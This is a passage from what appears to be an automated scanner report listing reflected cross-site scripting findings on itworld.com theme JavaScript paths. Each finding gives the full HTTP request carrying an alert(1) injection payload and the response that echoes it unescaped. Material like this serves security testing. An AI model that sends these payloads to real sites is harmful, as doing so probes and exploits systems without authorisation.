s.prop45="/sites/all/themes/itworld/js83cb4"-alert(1)-"491ea5862c/jquery.validate.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.507. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f2588"><script>alert(1)</script>4e575f38cca was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js/jquery.validate.jsf2588"><script>alert(1)</script>4e575f38cca?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460355"
Content-Type: text/html; charset=utf-8
Content-Length: 57652
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:09 GMT
X-Varnish: 1038161354
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.jsf2588"><script>alert(1)</script>4e575f38cca?h"/>
...[SNIP]...

1.508. http://www.itworld.com/sites/all/themes/itworld/js/jquery.validate.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/jquery.validate.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d8c00"-alert(1)-"407f9189a41 was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js/jquery.validate.jsd8c00"-alert(1)-"407f9189a41?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:17 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460377"
Content-Type: text/html; charset=utf-8
Content-Length: 57432
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:22 GMT
X-Varnish: 1038161922
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
p15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js/jquery.validate.jsd8c00"-alert(1)-"407f9189a41";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.509. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c04d9"><script>alert(1)</script>5b3512ca7df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitesc04d9"><script>alert(1)</script>5b3512ca7df/all/themes/itworld/js/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:39 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460039"
Content-Type: text/html; charset=utf-8
Content-Length: 57575
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:20:48 GMT
X-Varnish: 1959723678
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sitesc04d9"><script>alert(1)</script>5b3512ca7df/all/themes/itworld/js/mosttabs.js?h"/>
...[SNIP]...

1.510. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b94b4"-alert(1)-"dc9d7d3310 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sitesb94b4"-alert(1)-"dc9d7d3310/all/themes/itworld/js/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:20:55 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460055"
Content-Type: text/html; charset=utf-8
Content-Length: 57345
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:21:00 GMT
X-Varnish: 1959724147
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
s.prop13="CMS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sitesb94b4"-alert(1)-"dc9d7d3310/all/themes/itworld/js/mosttabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page
...[SNIP]...

1.511. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de415"-alert(1)-"de9aad93c93 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworldde415"-alert(1)-"de9aad93c93/js/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:43 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460163"
Content-Type: text/html; charset=utf-8
Content-Length: 57355
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:46 GMT
X-Varnish: 252446529
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
rop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworldde415"-alert(1)-"de9aad93c93/js/mosttabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s
...[SNIP]...

1.512. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js [REST URL parameter 4] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c03f5"><script>alert(1)</script>2df2291b114 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworldc03f5"><script>alert(1)</script>2df2291b114/js/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:26 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460146"
Content-Type: text/html; charset=utf-8
Content-Length: 57576
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:30 GMT
X-Varnish: 252446284
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworldc03f5"><script>alert(1)</script>2df2291b114/js/mosttabs.js?h"/>
...[SNIP]...

1.513. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5d58d"-alert(1)-"dd3bebdce2d was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js5d58d"-alert(1)-"dd3bebdce2d/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:24 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460204"
Content-Type: text/html; charset=utf-8
Content-Length: 57362
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:26 GMT
X-Varnish: 252447337
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js5d58d"-alert(1)-"dd3bebdce2d/mosttabs.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eV
...[SNIP]...

1.514. http://www.itworld.com/sites/all/themes/itworld/js/mosttabs.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/mosttabs.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 540d3"><script>alert(1)</script>7707f1100b3 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js540d3"><script>alert(1)</script>7707f1100b3/mosttabs.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:23:05 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460185"
Content-Type: text/html; charset=utf-8
Content-Length: 57581
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:23:12 GMT
X-Varnish: 252446893
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themes/itworld/js540d3"><script>alert(1)</script>7707f1100b3/mosttabs.js?h"/>
...[SNIP]...

1.515. http://www.itworld.com/sites/all/themes/itworld/js/node.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/node.js

Issue detail

The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bb5a2"><script>alert(1)</script>1afaca20c5d was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themesbb5a2"><script>alert(1)</script>1afaca20c5d/itworld/js/node.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:35 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460155"
Content-Type: text/html; charset=utf-8
Content-Length: 57535
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:36 GMT
X-Varnish: 252446393
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
<meta name="syndication-source" content="http://www.itworld.com/sites/all/themesbb5a2"><script>alert(1)</script>1afaca20c5d/itworld/js/node.js?h"/>
...[SNIP]...

1.516. http://www.itworld.com/sites/all/themes/itworld/js/node.js [REST URL parameter 3] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/node.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload df095"-alert(1)-"5d64ca6210a was submitted in the REST URL parameter 3. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themesdf095"-alert(1)-"5d64ca6210a/itworld/js/node.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:22:44 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460164"
Content-Type: text/html; charset=utf-8
Content-Length: 57316
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:22:50 GMT
X-Varnish: 252446541
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
MS";
s.prop14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themesdf095"-alert(1)-"5d64ca6210a/itworld/js/node.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.
...[SNIP]...

1.517. http://www.itworld.com/sites/all/themes/itworld/js/node.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/node.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f0d04"-alert(1)-"dc892219466 was submitted in the REST URL parameter 5. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/jsf0d04"-alert(1)-"dc892219466/node.js?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:25:15 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460315"
Content-Type: text/html; charset=utf-8
Content-Length: 57321
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:25:17 GMT
X-Varnish: 1038160016
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
14="kgerich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/jsf0d04"-alert(1)-"dc892219466/node.js";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13
...[SNIP]...

1.518. http://www.itworld.com/sites/all/themes/itworld/js/node.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/node.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 19184"-alert(1)-"34302472f5c was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /sites/all/themes/itworld/js/node.js19184"-alert(1)-"34302472f5c?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.itworld.com/
Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822

Response

HTTP/1.1 404 Not Found
Server: Apache/2.2.17 (EL)
X-Powered-By: PHP/5.2.16
Cache-Control: public, max-age=0
Last-Modified: Mon, 19 Sep 2011 19:26:11 +0000
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Vary: Cookie
ETag: "1316460371"
Content-Type: text/html; charset=utf-8
Content-Length: 57321
X-Cacheable: NO: obj.status
X-Cacheable-status: 404
Date: Mon, 19 Sep 2011 19:26:17 GMT
X-Varnish: 1038161764
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Set-Cookie: BNI__BARRACUDA_LB_COOKIE=38a4a8c00000b822; Path=/; Max-age=600

<!DOCTYPE HTML>
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:fb="http://www.facebook.com/2008/fbml" xmlns:og="http://opengraphprotocol.org/schema/">

<head>
<me
...[SNIP]...
ich";
s.prop15="2008-06-20";
s.prop16="";
s.prop17="";
s.prop18="Anonymous";
s.prop19="";
s.prop20="";
s.prop29="";
s.prop30="";
s.prop34="";
s.prop35="";
s.prop45="/sites/all/themes/itworld/js/node.js19184"-alert(1)-"34302472f5c";
s.events="";
s.products="";
s.eVar1="";
s.eVar2="page";
s.eVar3="";
s.evar4="";
s.eVar9="";
s.eVar10="";
s.eVar11="53238";
s.eVar12="Oops! We couldn't find the page you requested.";
s.eVar13="CMS";

...[SNIP]...

1.519. http://www.itworld.com/sites/all/themes/itworld/js/node.js [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.itworld.com
Path:	/sites/all/themes/itworld/js/node.js

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea034"><script>alert(1)</script>0da983b136a was submitted in the REST URL parameter 6. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sites/all/themes/itworld/js/node.jsea034"><script>alert(1)</script>0da983b136a?h HTTP/1.1
Host: www.itworld.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
